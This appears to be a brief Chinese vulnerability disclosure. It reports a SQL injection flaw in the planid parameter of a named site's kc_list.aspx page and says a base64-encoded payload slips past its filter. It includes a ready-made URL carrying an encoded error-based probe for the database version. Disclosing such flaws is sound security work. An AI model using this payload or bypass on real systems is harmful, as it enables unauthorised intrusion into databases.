<p>WebPage/kc_list.aspx的planid参数过滤不严</p><p>只需对payload进行base编码即可绕过</p><p><a href="http://px2.timber2005.com/WebPage/kc_list.aspx?planid=Y29udmVydChpbnQsKEBAdmVyc2lvbikp&examName=%E5%88%9D%E7%BA%A7%E4%BC%9A%E8%AE%A1%E5%B8%88" rel="nofollow">http://px2.timber2005.com/WebPage/kc_list.aspx?planid=Y29udmVydChpbnQsKEBAdmVyc2lvbikp&examName=%E5%88%9D%E7%BA%A7%E4%BC%9A%E8%AE%A1%E5%B8%88</a><br></p>
暂无评论